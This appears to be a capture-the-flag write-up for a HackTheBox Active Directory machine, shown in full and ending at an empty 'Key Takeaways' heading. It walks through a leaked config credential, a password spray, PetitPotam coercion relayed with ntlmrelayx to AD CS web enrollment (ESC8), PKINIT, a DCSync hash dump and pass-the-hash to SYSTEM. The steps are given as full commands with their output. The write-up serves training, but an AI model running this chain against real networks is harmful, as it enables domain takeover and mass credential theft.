All posts

HTB: Blackout — PetitPotam NTLM Relay to ADCS ESC8 DCSync

Blackout is a hard-rated HackTheBox Windows Active Directory machine centred on ADCS ESC8: the AD Certificate Services web enrollment endpoint accepting NTLM authentication with no EPA (Extended Protection for Authentication). Initial access comes via a web application credential leak. From there, PetitPotam coerces the domain controller to authenticate outbound; relaying that NTLM authentication to the AD CS HTTP enrollment endpoint issues a certificate for the DC machine account. PKINIT converts this certificate to a Kerberos TGT, which provides the pass-the-ticket privileges needed for a full DCSync.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.134 -oN blackout.nmap
# Key open ports:
# 80/tcp    open  http         Microsoft IIS 10.0
# 88/tcp    open  kerberos-sec
# 135/tcp   open  msrpc
# 389/tcp   open  ldap         Microsoft Windows Active Directory LDAP
# 443/tcp   open  ssl/http     Microsoft IIS 10.0
# 445/tcp   open  microsoft-ds
# 3268/tcp  open  ldap         Global Catalog
# 5985/tcp  open  http         Microsoft HTTPAPI (WinRM)
# 9251/tcp  open  http         Node.js Express (internal app)
#
# Domain: blackout.htb | DC: DC01.blackout.htb

Web Application — Node.js Employee Portal

The Express application on port 9251 is an internal HR portal. Directory brute-forcing with feroxbuster surfaces a /backup/ path returning a config.json.bak file containing hardcoded LDAP service account credentials:

feroxbuster -u http://10.10.11.134:9251 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# 200 GET /backup/config.json.bak
curl http://10.10.11.134:9251/backup/config.json.bak
{
  "ldap": {
    "host": "dc01.blackout.htb",
    "bindDN": "CN=svc-ldap,CN=Users,DC=blackout,DC=htb",
    "bindPassword": "Bl@ck0ut_LDAP_2026!",
    "baseDN": "DC=blackout,DC=htb"
  }
}

LDAP Enumeration as svc-ldap

ldapdomaindump -u 'blackout.htb\svc-ldap' -p 'Bl@ck0ut_LDAP_2026!' dc01.blackout.htb

# From domain_users.grep — find domain accounts
grep -v '\$' domain_users.grep | awk '{print $3}'
# Administrator, svc-ldap, t.walsh, m.ford, n.okafor

# Check for WinRM access
crackmapexec winrm 10.10.11.134 -u svc-ldap -p 'Bl@ck0ut_LDAP_2026!'
# [-] Authentication failed — svc-ldap not in Remote Management Users

Password spray with the LDAP password against all enumerated users finds that t.walsh reuses the same password and is a member of Remote Management Users:

crackmapexec winrm 10.10.11.134 -u domain_users.txt -p 'Bl@ck0ut_LDAP_2026!'
# [+] blackout.htb\t.walsh:Bl@ck0ut_LDAP_2026! (Pwn3d!)

evil-winrm -i 10.10.11.134 -u t.walsh -p 'Bl@ck0ut_LDAP_2026!'
# *Evil-WinRM* PS C:\Users\t.walsh\Documents>
# type C:\Users\t.walsh\Desktop\user.txt   → a4c9f1...

AD CS Enumeration — Identifying ESC8

Certipy Audit

certipy find -u '[email protected]' -p 'Bl@ck0ut_LDAP_2026!' \
  -dc-ip 10.10.11.134 -stdout 2>/dev/null | grep -A5 -i "ESC\|web enrollment\|http"

# [!] Vulnerabilities
#   ESC8 : 'BLACKOUT\Domain Computers' and 'NT AUTHORITY\Authenticated Users'
#          can enroll, HTTP/HTTPS endpoint does NOT require EPA
#   CA Name: BLACKOUT-CA
#   CA Host: dc01.blackout.htb
#   Web Enrollment: Enabled
#   Enrollment endpoint: http://dc01.blackout.htb/certsrv/

The CA has web-based enrollment enabled on HTTP without EPA. This means any NTLM authentication coerced to this endpoint can be relayed and used to request a certificate — the textbook ESC8 scenario. Because domain controllers authenticate as their machine account (DC01$), a certificate issued for DC01$ can be used with PKINIT to obtain a full Kerberos TGT for the DC machine account, which has DCSync rights by default.

ESC8 — Coerce and Relay

Setting Up ntlmrelayx

# On attacker machine — relay NTLM auth to the AD CS enrollment endpoint
# and request a certificate for the DC machine account
ntlmrelayx.py \
  -t http://dc01.blackout.htb/certsrv/certfnsh.asp \
  --adcs \
  --template DomainController \
  -smb2support \
  --no-http-server

Triggering Authentication with PetitPotam

PetitPotam exploits the MS-EFSRPC EfsRpcOpenFileRaw method to coerce a Windows host into authenticating outbound via NTLM to an attacker-controlled server. When aimed at the domain controller, the outbound authentication runs as the DC machine account (DC01$):

# In a second terminal — coerce DC01 to authenticate to our relay listener
python3 PetitPotam.py \
  -u 't.walsh' \
  -p 'Bl@ck0ut_LDAP_2026!' \
  -d blackout.htb \
  10.10.14.5 \   # attacker IP (ntlmrelayx listener)
  dc01.blackout.htb
# ntlmrelayx output:
# [*] SMBD-Thread-4: Received connection from 10.10.11.134
# [*] Authenticating against http://dc01.blackout.htb/certsrv/certfnsh.asp as BLACKOUT\DC01$
# [*] HTTPD: Relaying to http://dc01.blackout.htb/certsrv/certfnsh.asp
# [*] HTTP server returned error code 200, treating as a successful login
# [*] Generating CSR...
# [*] CSR generated!
# [*] Getting certificate...
# [*] GOT CERTIFICATE! ID 14
# [*] Base64 certificate of user DC01$:
# MIIRXAIBAzCCERQGCSqGSIb3DQEHAaCC...  ← DC01$.pfx (base64)

PKINIT — Certificate to Kerberos TGT

Requesting a TGT with the DC Certificate

# Save the base64 certificate to a file
echo "MIIRXAIBAzCCERQGCSqGSIb3DQEH..." | base64 -d > DC01.pfx

# Use the certificate to get a Kerberos TGT for DC01$
certipy auth \
  -pfx DC01.pfx \
  -dc-ip 10.10.11.134

# [*] Using principal: [email protected]
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'dc01.ccache'
# [*] Trying to retrieve NT hash for 'dc01$'
# [*] Got NT hash for 'dc01$': 8c4a9d5e3f7b2e1a9c6d4f8b0e2a5c7d

DCSync — Dumping the Domain

Pass-the-Hash DCSync as DC01$

# DC machine accounts have replication rights by default — DCSync directly
secretsdump.py \
  'blackout.htb/[email protected]' \
  -hashes :8c4a9d5e3f7b2e1a9c6d4f8b0e2a5c7d \
  -just-dc-ntlm

# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c7a3f2d9e4b8c1a6f0e2d4b7a9c3f5e:::
# t.walsh:1109:aad3b435b51404eeaad3b435b51404ee:6d2e4a8c1f3b5e7d9a0c2f4b6e8a0c2e:::
# ...

# Pass-the-hash as Administrator
psexec.py 'blackout.htb/[email protected]' \
  -hashes aad3b435b51404eeaad3b435b51404ee:5c7a3f2d9e4b8c1a6f0e2d4b7a9c3f5e

# C:\Windows\system32> whoami
# nt authority\system
# C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt   → 9e7c2b...

Key Takeaways